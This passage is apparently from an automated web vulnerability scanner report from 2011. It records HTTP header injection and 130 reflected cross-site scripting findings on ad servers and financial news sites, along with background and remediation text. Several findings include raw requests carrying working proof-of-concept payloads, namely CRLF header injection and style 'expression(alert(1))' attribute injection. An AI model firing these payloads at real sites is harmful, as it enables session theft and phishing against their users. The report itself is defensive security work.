GET /ad/ee78b%0d%0ae1dd2be16ff/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&host=altfarm.mediaplex.com HTTP/1.1
Host: mp.apmebf.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 10:12:39 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=g14vo-39912-1305367959598-cr; domain=.apmebf.com; path=/; expires=Mon, 13-May-2013 10:12:39 GMT
Location: http://altfarm.mediaplex.com/ad/ee78b
e1dd2be16ff/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&no_cj_c=1&upsid=078282788346
Content-Length: 583
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/ee78b
e1dd2be1
...[SNIP]...

3.8. http://mp.apmebf.com/ad/js/13754-86576-1281-0 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The value of REST URL parameter 3 is copied into the Location response header. The payload 3a7d1%0d%0a5031ae02666 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.

Request

GET /ad/js/3a7d1%0d%0a5031ae02666?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&host=altfarm.mediaplex.com HTTP/1.1
Host: mp.apmebf.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 10:12:39 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=g14vo-55768-1305367959801-72; domain=.apmebf.com; path=/; expires=Mon, 13-May-2013 10:12:39 GMT
Location: http://altfarm.mediaplex.com/ad/js/3a7d1
5031ae02666?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&no_cj_c=1&upsid=294035646314
Content-Length: 567
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/js/3a7d1
5031a
...[SNIP]...

4. Cross-site scripting (reflected) previous next
There are 130 instances of this issue:

http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free [!category parameter]
http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/barrons.com/columnist [!category parameter]
http://ad.doubleclick.net/adi/barrons.com/public_front [!category parameter]
http://ad.doubleclick.net/adi/barrons.com/public_front [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans [!category parameter]
http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front [!category parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/news_front [!category parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/news_front [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory [!category parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel [!category parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel [u parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor [!category parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot [!category parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop [!category parameter]
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/marketwatch.com/brand_channel [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/marketwatch.com/brand_channel [u parameter]
http://ad.doubleclick.net/adi/marketwatch.com/frontpage [u parameter]
http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe [mc parameter]
http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe [mc parameter]
http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front [!category parameter]
http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front [!category parameter]
http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front [u parameter]
http://ad.doubleclick.net/adi/smartmoney.com/tool_module [!category parameter]
http://ad.doubleclick.net/adi/smartmoney.com/tool_module [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adj/allthingsd.com/general [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adj/allthingsd.com/kara_singlepost [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adj/barrons.com/daily_barronstake [!category parameter]
http://ad.doubleclick.net/adj/barrons.com/daily_barronstake [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adj/barrons.com/survey [!category parameter]
http://ad.doubleclick.net/adj/interactive.wsj.com/front_nonsub [!category parameter]
http://ad.doubleclick.net/adj/marketwatch.com/brokerdock [s parameter]
http://ad.doubleclick.net/adj/marketwatch.com/brokerdock [u parameter]
http://ad.doubleclick.net/adj/marketwatch.com/frontpage [u parameter]
http://ad.doubleclick.net/adj/marketwatch.com/markets_futuremovers [p39 parameter]
http://ad.doubleclick.net/adj/marketwatch.com/mutualfunds_jaffe [p39 parameter]
http://ad.doubleclick.net/adj/marketwatch.com/personalfinance_story [p39 parameter]
http://ad.doubleclick.net/adj/smartmoney.com/intromessage [!category parameter]
http://api.bizographics.com/v1/profile.json [&callback parameter]
http://api.bizographics.com/v1/profile.json [api_key parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [ifl parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [ncu parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [ncu parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [npu parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [npu parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [p parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [p parameter]
http://fanpeeps.com/ [action parameter]
http://fanpeeps.com/ [action parameter]
http://fanpeeps.com/ [idol parameter]
http://fanpeeps.com/ [idol parameter]
http://fanpeeps.com/ [iid parameter]
http://fanpeeps.com/ [iid parameter]
http://fanpeeps.com/ [pid parameter]
http://fanpeeps.com/ [pid parameter]
http://fanpeeps.com/ [pid parameter]
http://fanpeeps.com/ [q parameter]
http://fanpeeps.com/ [q parameter]
http://fanpeeps.com/ [q parameter]
http://fanpeeps.com/media/ [pid parameter]
http://fanpeeps.com/media/ [pid parameter]
http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js [mpck parameter]
http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js [mpvc parameter]
http://js.revsci.net/gateway/gw.js [csid parameter]
http://json6.ringrevenue.com/6/map_number [REST URL parameter 2]
http://json6.ringrevenue.com/images/ringrevenue/favicon.ico [REST URL parameter 1]
http://json6.ringrevenue.com/images/ringrevenue/favicon.ico [REST URL parameter 2]
http://json6.ringrevenue.com/images/ringrevenue/favicon.ico [REST URL parameter 3]
http://jtools.smartmoney.com/marketspectrum/spectrumServer [jsoncallback parameter]
http://realestate.wsj.com/item/822547 [REST URL parameter 2]
http://sbklivequoteserverdl.smartmoney.com/livequote/tokenJSON [jsoncallback parameter]
http://server.iad.liveperson.net/hc/44533531/ [lpCallId parameter]
http://smartmoney.onespot.com/ism/nextclick_wsjdn/index.js [_ parameter]
http://smartmoney.onespot.com/ism/nextclick_wsjdn/index.js [callback parameter]
http://topics.wsj.com/api-video/get_video_info.asp [REST URL parameter 2]
http://www.fanpeeps.com/ [action parameter]
http://www.fanpeeps.com/ [action parameter]
http://www.fanpeeps.com/ [iid parameter]
http://www.fanpeeps.com/ [iid parameter]
http://www.fanpeeps.com/ [pid parameter]
http://www.fanpeeps.com/ [pid parameter]
http://www.marketwatch.com/Dockingbar/Dock/_AlertItem [REST URL parameter 2]
http://www.marketwatch.com/Dockingbar/Dock/_AlertItem [REST URL parameter 3]
http://www.marketwatch.com/bg/api/Connect.ashx [REST URL parameter 1]
http://www.marketwatch.com/bg/api/Connect.ashx [REST URL parameter 2]
http://www.marketwatch.com/bg/api/Pickup.ashx [REST URL parameter 1]
http://www.marketwatch.com/bg/api/Pickup.ashx [REST URL parameter 2]
http://www.marketwatch.com/doubleclick/DARTIframe.html [REST URL parameter 1]
http://www.marketwatch.com/doubleclick/DARTIframe.html [REST URL parameter 2]
http://www.marketwatch.com/news/Headline/_HeadlineItem [REST URL parameter 3]
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [REST URL parameter 1]
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [REST URL parameter 1]
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [REST URL parameter 1]
http://www.midphase.com/favicon.ico [REST URL parameter 1]
http://www.midphase.com/includes/form-processing/captcha/cryptographp.inc.php [REST URL parameter 1]
http://www.midphase.com/includes/form-processing/captcha/cryptographp.inc.php [REST URL parameter 2]
http://www.midphase.com/includes/form-processing/captcha/cryptographp.inc.php [REST URL parameter 3]
http://www.midphase.com/includes/form-processing/captcha/cryptographp.inc.php [REST URL parameter 4]
http://www.midphase.com/includes/form-processing/captcha/cryptographp.php [REST URL parameter 1]
http://www.midphase.com/includes/form-processing/captcha/cryptographp.php [REST URL parameter 2]
http://www.midphase.com/includes/form-processing/captcha/cryptographp.php [REST URL parameter 3]
http://www.midphase.com/includes/form-processing/captcha/cryptographp.php [REST URL parameter 4]
http://api.bizographics.com/v1/profile.json [Referer HTTP header]
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [BIZO cookie]
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [BIZO cookie]
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [rsi_csl cookie]
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [rsi_csl cookie]
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [rsi_segs cookie]
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [rsi_segs cookie]
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [BIZO cookie]
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [BIZO cookie]
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [rsi_csl cookie]
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [rsi_csl cookie]
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [rsi_segs cookie]
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [rsi_segs cookie]
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [BIZO cookie]
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [BIZO cookie]
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [rsi_csl cookie]
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [rsi_csl cookie]
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [rsi_segs cookie]
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [rsi_segs cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

4.1. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone_free

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee5e2"style%3d"x%3aexpression(alert(1))"76d27de00ec was submitted in the !category parameter. This input was echoed as ee5e2"style="x:expression(alert(1))"76d27de00ec in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/barrons.com/b2pfreezone_free;!category=;page=bottomSubscribePromoFree;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=7;sz=520x30;ord=1659165916591659;ee5e2"style%3d"x%3aexpression(alert(1))"76d27de00ec HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:27 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 587

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/z;231253341;0-0;0;20454327;25388-520/30;38882585/38900342/1;;~okv=;!category=;page=bottomSubscribePromoFree;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=7;sz=520x30;ee5e2"style="x:expression(alert(1))"76d27de00ec;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/6BCWBL_OOT">
...[SNIP]...

4.2. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone_free

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f363c"style%3d"x%3aexpression(alert(1))"318f1b6bb74 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f363c"style="x:expression(alert(1))"318f1b6bb74 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/barrons.com/b2pfreezone_free;!category=;page=bottomSubscribePromoFree;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=7;sz=520x30;ord=1659165916591659;&f363c"style%3d"x%3aexpression(alert(1))"318f1b6bb74=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:51 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 590

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/z;231253341;0-0;0;20454327;25388-520/30;38882585/38900342/1;;~okv=;!category=;page=bottomSubscribePromoFree;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=7;sz=520x30;&f363c"style="x:expression(alert(1))"318f1b6bb74=1;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/6BCWBL_OOT">
...[SNIP]...

4.3. http://ad.doubleclick.net/adi/barrons.com/columnist [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/columnist

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78bb2"style%3d"x%3aexpression(alert(1))"9b4cd51018c was submitted in the !category parameter. This input was echoed as 78bb2"style="x:expression(alert(1))"9b4cd51018c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=4;sz=377x140;ord=2817281728172817;78bb2"style%3d"x%3aexpression(alert(1))"9b4cd51018c HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://topics.barrons.com/person/S/michael-santoli/6041
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:31:21 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 544

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/i;241062548;0-0;0;51787543;29332-377/140;42095072/42112859/1;;~okv=;!category=;biz=1053;;s=8_10001;mc=0;tile=4;sz=377x140;78bb2"style="x:expression(alert(1))"9b4cd51018c;~aopt=2/1/ff/1;~sscs=%3fhttp://www.smartmoney.com">
...[SNIP]...

4.4. http://ad.doubleclick.net/adi/barrons.com/public_front [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/public_front

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6272f"style%3d"x%3aexpression(alert(1))"8a464770ae9 was submitted in the !category parameter. This input was echoed as 6272f"style="x:expression(alert(1))"8a464770ae9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/barrons.com/public_front;!category=;;mc=0;tile=2;sz=280x61;ord=2194219421942194;6272f"style%3d"x%3aexpression(alert(1))"8a464770ae9 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:15:11 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 535

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/r;231251608;0-0;0;13405531;28940-280/61;38881709/38899466/1;;~okv=;!category=;;mc=0;tile=2;sz=280x61;6272f"style="x:expression(alert(1))"8a464770ae9;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/6BCWAA_OOTB9">
...[SNIP]...

4.5. http://ad.doubleclick.net/adi/barrons.com/public_front [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/public_front

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc865"style%3d"x%3aexpression(alert(1))"4bae22cf300 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dc865"style="x:expression(alert(1))"4bae22cf300 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/barrons.com/public_front;!category=;;mc=0;tile=2;sz=280x61;ord=2194219421942194;&dc865"style%3d"x%3aexpression(alert(1))"4bae22cf300=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:15:35 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 538

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/r;231251608;0-0;0;13405531;28940-280/61;38881709/38899466/1;;~okv=;!category=;;mc=0;tile=2;sz=280x61;&dc865"style="x:expression(alert(1))"4bae22cf300=1;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/6BCWAA_OOTB9">
...[SNIP]...

4.6. http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/sponsor_pickspans

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e79e"style%3d"x%3aexpression(alert(1))"93db2689eb3 was submitted in the !category parameter. This input was echoed as 2e79e"style="x:expression(alert(1))"93db2689eb3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/barrons.com/sponsor_pickspans;!category=;;mc=0;tile=4;sz=140x31;ord=2194219421942194;2e79e"style%3d"x%3aexpression(alert(1))"93db2689eb3 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
